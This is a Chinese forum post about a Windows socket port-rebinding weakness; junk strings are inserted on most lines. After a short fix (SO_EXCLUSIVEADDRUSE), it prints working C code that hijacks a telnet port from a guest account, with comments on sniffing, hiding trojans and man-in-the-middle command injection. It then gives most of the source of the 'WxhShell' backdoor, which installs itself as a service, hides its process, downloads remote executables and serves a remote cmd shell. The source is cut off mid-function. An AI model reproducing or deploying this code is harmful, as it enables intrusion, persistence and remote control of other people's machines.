在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
M^hz<<:$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
> sQ&5-i E'6/@xM saddr.sin_family = AF_INET;
x;/dSfv_ 8TU(5:xJo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P*U^,Jh< w-NTw2x,& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
vCK+v
r! AGO"), 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
""_G4{ N 6\Ey{ 这意味着什么?意味着可以进行如下的攻击:
|b^UPrz)VS a<E9@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4gVIuF*pS Zw'050~- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Zu>-y#Bw Z#^|h0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
JY;u<xl JR&yaOws 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-XK;B--c Ho[]03 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cq3Z}Cp (ov&iNx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
TiG?r$6v% M`@AS L:u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>El]5M7h7 j+q) #include
oe3=QE #include
02NVdpo[wU #include
J~oxqw} #include
Q
8;JvCz DWORD WINAPI ClientThread(LPVOID lpParam);
Aho*E9VW int main()
G K3T w {
T/ eX7p1 WORD wVersionRequested;
x(4"!# DWORD ret;
F;kKn:X L WSADATA wsaData;
'=\>n(%Q BOOL val;
V\e1NS SOCKADDR_IN saddr;
&5z9C=]e SOCKADDR_IN scaddr;
L$+_ int err;
#Q-#7|0& SOCKET s;
ZH>i2|W< SOCKET sc;
|-S+ x]9 int caddsize;
Dsc0;7~6 HANDLE mt;
.jC5 y& DWORD tid;
nD]MgT wVersionRequested = MAKEWORD( 2, 2 );
4i}nk
T err = WSAStartup( wVersionRequested, &wsaData );
\7#w@3* if ( err != 0 ) {
UugR printf("error!WSAStartup failed!\n");
HvKdV`bz return -1;
f1elzANy }
?~.:C' saddr.sin_family = AF_INET;
v ;Q*0%~ ka ;=%*7T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
A"s?;hv\fS SD:`l<l saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3^-R_ saddr.sin_port = htons(23);
YktZXc?iI< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%6Vb1?x {
bmi",UZ:F printf("error!socket failed!\n");
z 0zB&} return -1;
.X"&kO>G }
H+]h+K9\7 val = TRUE;
1LhZmv //SO_REUSEADDR选项就是可以实现端口重绑定的
/"m#mhL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#Ufb {
KIR3m
) printf("error!setsockopt failed!\n");
@Bjp7v:w return -1;
*//z$la }
Ea'jAIFPpO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1@|%{c&+9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@]8flb
)T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[cZ/)tm V>E7!LIn. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
tlg}"lY {
:[f[-F ret=GetLastError();
ePI N<F;I printf("error!bind failed!\n");
HkhZB^_V return -1;
p[At0Gc
L }
!O}e)t listen(s,2);
re#]zc< while(1)
3fXrwmBT8 {
%21 |-B caddsize = sizeof(scaddr);
0kls/^ 0, //接受连接请求
(JnEso-V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
yD.(j*bMK; if(sc!=INVALID_SOCKET)
)p> p3b g {
W?P4oKsql* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(vzYgU, if(mt==NULL)
-'d`(G" {
T"C.>G'[B printf("Thread Creat Failed!\n");
!TY0;is break;
5!$sQ@#}D }
O0`ofFN }
0`p"7!r CloseHandle(mt);
FV
aC8Kw }
G?\eO&QG{" closesocket(s);
'W54 T WSACleanup();
_LfbEv<,T return 0;
!Y7$cU &
}
!Icznou\ DWORD WINAPI ClientThread(LPVOID lpParam)
_K'Y`w'] {
;pOV; q3j SOCKET ss = (SOCKET)lpParam;
cq
gCcO, SOCKET sc;
0raFb,6l unsigned char buf[4096];
L>E{~yh SOCKADDR_IN saddr;
b2[U3)|oO long num;
P_8!Gp DWORD val;
s~B)xYmyB' DWORD ret;
T3"'`Sd9; //如果是隐藏端口应用的话,可以在此处加一些判断
{YrA[9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7P*\|Sxk% saddr.sin_family = AF_INET;
Le bc@, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eX}aa0 saddr.sin_port = htons(23);
#8M^;4N>[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
EL z5P}L6 {
Vjo[rUW printf("error!socket failed!\n");
0L#i c61U return -1;
Y9vi&G?Jl }
P0hr=/h4 val = 100;
ZPq.|6& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
88[u^aC {
q{b-2k ret = GetLastError();
'|5o(6u' return -1;
8<C@I/ }
QOrMz`OA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\.sC{@5K
{
0CXXCa7! ret = GetLastError();
<Uf`'X\e6 return -1;
,2^A<IwR }
P(Zj}tGN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1|H4]!7kE {
c VO-iPK printf("error!socket connect failed!\n");
5_L,7\5# closesocket(sc);
Mk973'K' closesocket(ss);
%VR{<{3f return -1;
*HGhm04F{ }
B<qsa QG while(1)
/0fsn_ {
uW#s;1H.) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
v.>K
)%`# //如果是嗅探内容的话,可以再此处进行内容分析和记录
wxPl[)E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!hS)W7!ik num = recv(ss,buf,4096,0);
9b,0_IMHH if(num>0)
;8eGf' send(sc,buf,num,0);
r#&JfAo else if(num==0)
}oSgx break;
A8ef=ljM? num = recv(sc,buf,4096,0);
P2C>IS if(num>0)
S+wT}_BQ send(ss,buf,num,0);
QUvSeNSp else if(num==0)
} snS~kx break;
K`<HZK }
XIZN9/; closesocket(ss);
f/IQ2yT-:D closesocket(sc);
UHU ,zgM return 0 ;
#G`K<%{?f }
,RY;dX-# "%a<+D *!*%~h8V ==========================================================
O`GF| IEP|j;~* 下边附上一个代码,,WXhSHELL
7I&o .8%b;b ==========================================================
M
l@F `#8k Jt #include "stdafx.h"
=&9c5"V& 3T,[ #include <stdio.h>
p9u'nDi #include <string.h>
c?}G;$ #include <windows.h>
zb"4_L@m2 #include <winsock2.h>
yqL" YD #include <winsvc.h>
T{m) = (q #include <urlmon.h>
+r;t] 8Lx1XbwK #pragma comment (lib, "Ws2_32.lib")
3"v>y]$U #pragma comment (lib, "urlmon.lib")
V rx,'/IS8 q+*\'H> #define MAX_USER 100 // 最大客户端连接数
/EP
zT7 #define BUF_SOCK 200 // sock buffer
/BQqg08@L #define KEY_BUFF 255 // 输入 buffer
=jS$piw. |j9aTv[` #define REBOOT 0 // 重启
*V\.6,^v #define SHUTDOWN 1 // 关机
WcY_w`*L 8-k`"QI= #define DEF_PORT 5000 // 监听端口
Xy!NBh7I ~OR^ #define REG_LEN 16 // 注册表键长度
oD\t4]?E #define SVC_LEN 80 // NT服务名长度
(jj`}Qe3U G}+@C] // 从dll定义API
/J/V1dC}]D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GI,TE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[+R_3'aK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:#?_4D!r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Z}>F
V~4 c(2?./\| // wxhshell配置信息
<rK[ &JlJ struct WSCFG {
]adgOlM int ws_port; // 监听端口
2PRiiL@ char ws_passstr[REG_LEN]; // 口令
+L.D3 int ws_autoins; // 安装标记, 1=yes 0=no
ITqAy1m@C char ws_regname[REG_LEN]; // 注册表键名
1;S?9N_B char ws_svcname[REG_LEN]; // 服务名
9s[ char ws_svcdisp[SVC_LEN]; // 服务显示名
Y`eF9Im, char ws_svcdesc[SVC_LEN]; // 服务描述信息
~|O; Sdo= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"a~r'+'< int ws_downexe; // 下载执行标记, 1=yes 0=no
$%"hhju char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'Q :%s char ws_filenam[SVC_LEN]; // 下载后保存的文件名
w2X HY>6]; kp<Au)u };
jnztCNaX &oHr]=xA // default Wxhshell configuration
O< /b]<[ struct WSCFG wscfg={DEF_PORT,
4K7ved) "xuhuanlingzhe",
p3mZw lO 1,
p_&B+
<z "Wxhshell",
f+s)A(?3 "Wxhshell",
zx2`0%Q "WxhShell Service",
]u$tKC "Wrsky Windows CmdShell Service",
`5wiXsNjLY "Please Input Your Password: ",
$t}W,? 1,
l1]{r2g "
http://www.wrsky.com/wxhshell.exe",
HK<S|6B7V "Wxhshell.exe"
Et(H6O8 };
pt3)yj&XE }s@IQay+ // 消息定义模块
=P9rOK= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
gzSm=6Qw0 char *msg_ws_prompt="\n\r? for help\n\r#>";
YLA(hg| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
er-0i L@ char *msg_ws_ext="\n\rExit.";
tx9%.)M:n char *msg_ws_end="\n\rQuit.";
Z]TQ+9t char *msg_ws_boot="\n\rReboot...";
ILH[q> char *msg_ws_poff="\n\rShutdown...";
>#;;g2UV char *msg_ws_down="\n\rSave to ";
N}7b^0k ~uZ9%UB_m char *msg_ws_err="\n\rErr!";
~aQR_S char *msg_ws_ok="\n\rOK!";
t g-(e=S4P =EA @ char ExeFile[MAX_PATH];
=LK`mNA int nUser = 0;
@}!?}QU HANDLE handles[MAX_USER];
: fYfXm int OsIsNt;
CVkJMH_ g4Dck4^!4 SERVICE_STATUS serviceStatus;
GeB&S!F SERVICE_STATUS_HANDLE hServiceStatusHandle;
0]'
2i ps,Kj3^T< // 函数声明
;'V[8`Z@ int Install(void);
K8BlEF` int Uninstall(void);
>!" Sr3,L int DownloadFile(char *sURL, SOCKET wsh);
Op~:z<z int Boot(int flag);
U"Bge\6x= void HideProc(void);
K3tW Y
4- int GetOsVer(void);
}93FWo. int Wxhshell(SOCKET wsl);
v<2,OcH void TalkWithClient(void *cs);
\eQPvkx2
int CmdShell(SOCKET sock);
%P<fz1 int StartFromService(void);
h;r^9g int StartWxhshell(LPSTR lpCmdLine);
\vc&V8 [qkW/qS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
g5Io=e@s VOID WINAPI NTServiceHandler( DWORD fdwControl );
:PY8)39@K b3%a4Gg& // 数据结构和表定义
AU%Yr6 SERVICE_TABLE_ENTRY DispatchTable[] =
>Jn` RsuV {
1'TS!/ll]; {wscfg.ws_svcname, NTServiceMain},
rOEBL|P0 {NULL, NULL}
)y:))\> };
u R5h0Fi }u0&> k|y // 自我安装
q^wSM int Install(void)
\vV]fX {
|HY{Q1% char svExeFile[MAX_PATH];
w^nA/=;r HKEY key;
f8r7SFwUv strcpy(svExeFile,ExeFile);
$/#[,1 _G<Wq`0w) // 如果是win9x系统,修改注册表设为自启动
3%o}3.P,:@ if(!OsIsNt) {
5-({z%:P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T9r6,yY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|+sAqx1IF RegCloseKey(key);
-p7
HQ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\j wxW6> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#FRm<9/j RegCloseKey(key);
j)iUg03>/4 return 0;
]S9Z5l0 }
0Db=/sJ> }
=<aFkBX- }
ZDI?"dt{ else {
e F}KOOfC 2dJE`XL // 如果是NT以上系统,安装为系统服务
'BgR01w J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ze5#6Vzd& if (schSCManager!=0)
|{ZdAr.; {
"66#F SC_HANDLE schService = CreateService
e!w2_6?3 (
/6y{?0S schSCManager,
0xCe6{86 wscfg.ws_svcname,
xc`O\z_) wscfg.ws_svcdisp,
BAi0w{ SERVICE_ALL_ACCESS,
ta x:9j|~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
JHZjf7g$k SERVICE_AUTO_START,
3X ',L*f SERVICE_ERROR_NORMAL,
4sH?85=j svExeFile,
Z:x`][vg NULL,
mC0Dj O NULL,
7'{Vh{. NULL,
TMsCl6dB NULL,
/f+BeQ3#/ NULL
.~rg#*]^ );
.i|nn[H & if (schService!=0)
{:n1|_r4Z {
N$:-q'hX CloseServiceHandle(schService);
Q:y'G9b CloseServiceHandle(schSCManager);
Y;g\ @j strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m&(qr5>b strcat(svExeFile,wscfg.ws_svcname);
\ Gi oSg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
psz0q| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>+!Ef RegCloseKey(key);
Qr6PkHU return 0;
V
joVC$ZX }
1B~Z1w }
q68m*1?y CloseServiceHandle(schSCManager);
}&6:0l$4! }
@*=5a(# }
3QdCu<eBZ [io|qLr}\ return 1;
V(io!8, }
x1E;dbOZ |}<Gz+E> // 自我卸载
G)Y,*., int Uninstall(void)
JZ:yPvJ {
0B}2~}# HKEY key;
I-Ut7W 6'<[QoW]; if(!OsIsNt) {
Y"m(hs$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:l iDoGDi RegDeleteValue(key,wscfg.ws_regname);
zE/\2F$ RegCloseKey(key);
tL<.B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7~k=t!gTY RegDeleteValue(key,wscfg.ws_regname);
|pq9i)e& RegCloseKey(key);
/Ah&d@b return 0;
k6o8'6wN }
Q#K10*-O6 }
M,bs`amz }
$P%cdJ T0 else {
N0NFgW; 'lu3BQvfh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Qj(ppep\U" if (schSCManager!=0)
{I?)ODx7qC {
=1,1}OucP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/Bh*MH if (schService!=0)
vP? T {
;G3?Sa7+ if(DeleteService(schService)!=0) {
?~yJ7~3TS< CloseServiceHandle(schService);
,j.bdlI# CloseServiceHandle(schSCManager);
*0Fz." v return 0;
JAXD\StC }
0\@oqw]6hv CloseServiceHandle(schService);
IvI..#EzG }
b`=g#B| CloseServiceHandle(schSCManager);
~(GNY5 }
~vM99hW }
Z|ZB6gP>h1 KNj~7aTp return 1;
j|!t3}(( }
LNHi}P~ W}MN-0 // 从指定url下载文件
oDi+\0 int DownloadFile(char *sURL, SOCKET wsh)
jiLJiYMg {
tAI
v+L HRESULT hr;
257$ ! char seps[]= "/";
\4C[<Gbx$( char *token;
n+YUG char *file;
c/v|e&q char myURL[MAX_PATH];
WW&Wh<4 char myFILE[MAX_PATH];
N#t`ZC&m' G43r85LO strcpy(myURL,sURL);
X ,^([$ token=strtok(myURL,seps);
&/"a
E while(token!=NULL)
Q[K)Yd {
[ ;sTl~gC file=token;
cY kb3( token=strtok(NULL,seps);
M6Np!0G }
/@\R
:2,NKdD GetCurrentDirectory(MAX_PATH,myFILE);
;B[(~LCyT strcat(myFILE, "\\");
PJe_qP strcat(myFILE, file);
dt+r P% send(wsh,myFILE,strlen(myFILE),0);
xSSEDfq send(wsh,"...",3,0);
?h%Jb^#9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
y)CvlI if(hr==S_OK)
$u yx return 0;
5r~jo7 else
-57~7
<N return 1;
1;V_E2?V /sT?p=[. }
f86Z #% [Z#Sj=z // 系统电源模块
q^Oj/ws int Boot(int flag)
[w|Klq5 {
+jF2{" HANDLE hToken;
LCtVM70 TOKEN_PRIVILEGES tkp;
PoPR34]^J 3,6f}:CG if(OsIsNt) {
i$PO#} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
U&Vu%+B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
kROIVO1|` tkp.PrivilegeCount = 1;
3Ke6lV)uq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$D !/v)3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o.0tD if(flag==REBOOT) {
-`* 'p i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"NGfT:HV return 0;
%<(d%&~ }
LR>s2zu- else {
jHn7H)F8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
K.Y`/< return 0;
1Kk6nUIN }
|vl~B|", }
4YikC else {
.O5V;&, if(flag==REBOOT) {
Q[rZ1z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rz
k;Q@1 return 0;
/[\g8U{5B} }
TEd5&Z else {
A`Y^qXFb` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_avf%OS return 0;
Wtcib- }
K3[+L`pz }
;..z)OP_ 'kcR:5B return 1;
c:7F
2+p }
NGl
8*Af 52tc|j6~# // win9x进程隐藏模块
:e;6oC*"q void HideProc(void)
v>B412l {
<a @7's 8TeOh1\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ckA\{v if ( hKernel != NULL )
\j62" {
{eaR,d~X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C`g
"Mk8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=N\; ?eF( FreeLibrary(hKernel);
wPjq
B{!Q }
X%IqZ{{ A%W]XEa<
return;
n*wQgC'vw }
{&IB[Y6 4F#H$`:[ // 获取操作系统版本
?0qD(cfx< int GetOsVer(void)
/)Cfm1$ic {
e,e(t7c?d OSVERSIONINFO winfo;
.F 6US<] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|du%c`wl GetVersionEx(&winfo);
)0exGx+: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)/;+aDk return 1;
K_)~&Cu*' else
&`l\Q\_[@ return 0;
WK`o3ayH- }
VGeTX 4h b},2A'X // 客户端句柄模块
h{^v756L int Wxhshell(SOCKET wsl)
s;OGb{H7 {
Gc`PO SOCKET wsh;
:C} I6v= struct sockaddr_in client;
=6Ok4Z DWORD myID;
5:IDl1f5 yogavCD9b/ while(nUser<MAX_USER)
@c]KHWI {
lfHN_fE>Mq int nSize=sizeof(client);
QX<n^W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
K'Ywv@ if(wsh==INVALID_SOCKET) return 1;
0>BxS9?w ay7\Ae] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*gwlW/%Fz if(handles[nUser]==0)
<!Cjq,Sk7 closesocket(wsh);
wkx9@?2* else
l!x+K& nUser++;
&>Ve4!i
q }
6T$=(I <4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K`Kv .4 f-|?He4O] return 0;
:lB`K>)iB} }
D;0>- =;0-t\w! // 关闭 socket
l|WFS void CloseIt(SOCKET wsh)
R BHDfm'~7 {
(Ut8pa+yX closesocket(wsh);
]!{S2x&" nUser--;
}9"''Z ExitThread(0);
Q0R05* }
/(JG\Ut 'Eur[~k // 客户端请求句柄
0! 3. .5== void TalkWithClient(void *cs)
n\((#<& {
BwWSztJ+B ]%A> swCpn SOCKET wsh=(SOCKET)cs;
%JE>Z] char pwd[SVC_LEN];
4C3_gm char cmd[KEY_BUFF];
IrL%0&*hS char chr[1];
D-BT`@~l int i,j;
F9o7=5WAb nm1dd{U6^ while (nUser < MAX_USER) {
/*y5W-'d^ $.Tn\4z& if(wscfg.ws_passstr) {
({j8|{)+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'd$RNqe //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q)0KYKD+@ //ZeroMemory(pwd,KEY_BUFF);
3Qe|'E,U i=0;
H7tviSTd while(i<SVC_LEN) {
G*N[t w 5bt>MoKxv // 设置超时
~wDXjn"U& fd_set FdRead;
N 5*Qnb8 struct timeval TimeOut;
@??3d9I FD_ZERO(&FdRead);
a|z-EKV FD_SET(wsh,&FdRead);
!0@4*>n TimeOut.tv_sec=8;
?{ExBZNa TimeOut.tv_usec=0;
FJZ'P;3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
i=#`7pt%'a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:+/8n+@# :u,.(INB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9PKXQp pwd
=chr[0]; G"?7 Z&+
if(chr[0]==0xd || chr[0]==0xa) { 7_2D4CI
pwd=0; VP
A+/5TW
break; vIJ5iLF
} f/J/tt
i++; Eto"B"
} l}/_(*
L4Jm8sy{
// 如果是非法用户,关闭 socket ^Q`5+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `TJhH<z"%
} L-w3A:jk
/.0K#J:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,RR{Y-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HZAT_
&AJ bx
while(1) { +H3~Infr4f
O z0-cM8t
ZeroMemory(cmd,KEY_BUFF); Sn*s@RE\s
B9NUafK=
// 自动支持客户端 telnet标准 "a[;{s{{.
j=0; i) e6U(H
while(j<KEY_BUFF) { u9f^wn
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I4N7wnBp
cmd[j]=chr[0]; Nl YFS?5
if(chr[0]==0xa || chr[0]==0xd) {
<)TIj6
cmd[j]=0; PFX,X
break; eWDXV-xD
} VkJ">0k
j++; nCi
]6;Y
} vE)N6Ss
SEI0G_wk$
// 下载文件 x >a h,
if(strstr(cmd,"http://")) { e^eJ!~0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !d()'N
if(DownloadFile(cmd,wsh)) r7W.}n*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W\>O$IX^e
else tM"vIz 05
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F\N0<o
} Oz%6y
ri
else { }SWfP5D@
01@WU1IN
switch(cmd[0]) { TQO|C?
ouCh2Y/_
// 帮助 [l^XqD D4
case '?': { X >7Pqn'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q,ie)`
break; >Y4^<!\v
} 3q4Zwv0z20
// 安装 !f(A9V
case 'i': { cV>?*9z0
if(Install()) }'Ap@4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `>\
~y1
else "&SE!3*m`I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VL*5
break; *66EkCj
} E&J<qTH9
// 卸载 kI`HD
case 'r': { **m8 HD
if(Uninstall()) :i>LESJq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]7<$1ta
else &]a(5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); di_UJ~
break; FMCA~N
} huv|l6
// 显示 wxhshell 所在路径 hub]M
case 'p': { vVtkB$]L
char svExeFile[MAX_PATH]; x=rMjz-`_
strcpy(svExeFile,"\n\r"); `Zuo`GP*1
strcat(svExeFile,ExeFile); {G=> WAXo
send(wsh,svExeFile,strlen(svExeFile),0); aW:*!d#
break; ]uhG&:
}
} e;=R8i
// 重启 &kdW(;`
case 'b': { !Yo2P"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qDGx(d
if(Boot(REBOOT)) JUw|nUnl?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4?@5JpC9VA
else { 8ZV!ld
closesocket(wsh); *8qRdI9
ExitThread(0); ~uY5~Qs9G
} 1y[~xxgE
break; J",Cwk\
} )X#$G?|Hn
// 关机 ^'N!k{x
case 'd': { 3U?gw!M>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dW/(#KP/+
if(Boot(SHUTDOWN)) )]Zdaw)X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >H euf"V
else { y46sL~HRv
closesocket(wsh); &:d`Pik6
ExitThread(0); clqFV
} b6e2a/x
break; uUaDesz~=
} &gV9h>Kc#
// 获取shell xPF.c,6b4=
case 's': { 0RdW.rZJ
CmdShell(wsh); 0Q>
closesocket(wsh);
*W |
ExitThread(0); BpFXe7
break; D@w&[IF
} A5fzyG
// 退出 meB9:w[m
case 'x': { }rVLWt
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y]&2E/oc
CloseIt(wsh); s Fk{Tv@Yz
break; ,UVd+rY}
} Tpnwwx[]:|
// 离开 1iqgTi>
case 'q': { N}z]OvnZH
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ak}ke
closesocket(wsh); V?MaI.gj
WSACleanup(); IL&R&8'
exit(1); *Q [%r
break; &xj,.;
} H5FWk
} =;8q`
} hsws7sH
vKbGG
// 提示信息 X|TGM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i[vN3`*B
} /#x0?d{5
} 0*OK]`9
Hg]iZ,8?
return; (=53WbOh/t
} Em<J{`k6
%[?{H} y
// shell模块句柄 _A$V~Hp9q
int CmdShell(SOCKET sock)
o2y
#Yk
{ yrMakT =
STARTUPINFO si; ,-1taS
ZeroMemory(&si,sizeof(si)); #=fd8}9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qy!pD
R;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bsWDjV~
PROCESS_INFORMATION ProcessInfo; 6~Zq
char cmdline[]="cmd"; =-uk7uZM
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8{.:$T
return 0; XR)I,@i`'
} X 2('@Yh
4mWT"T-8
// 自身启动模式 W-"FRTI4
int StartFromService(void) 5r\Rfma
{ TSd;L
u%hr
typedef struct J@9E20$
{ !8%{(;(
DWORD ExitStatus; Dmk~t="Y
DWORD PebBaseAddress; ~F]If \b
DWORD AffinityMask; L5>.ku=T
DWORD BasePriority; ,OO0*%
ULONG UniqueProcessId; 1j^FNg~
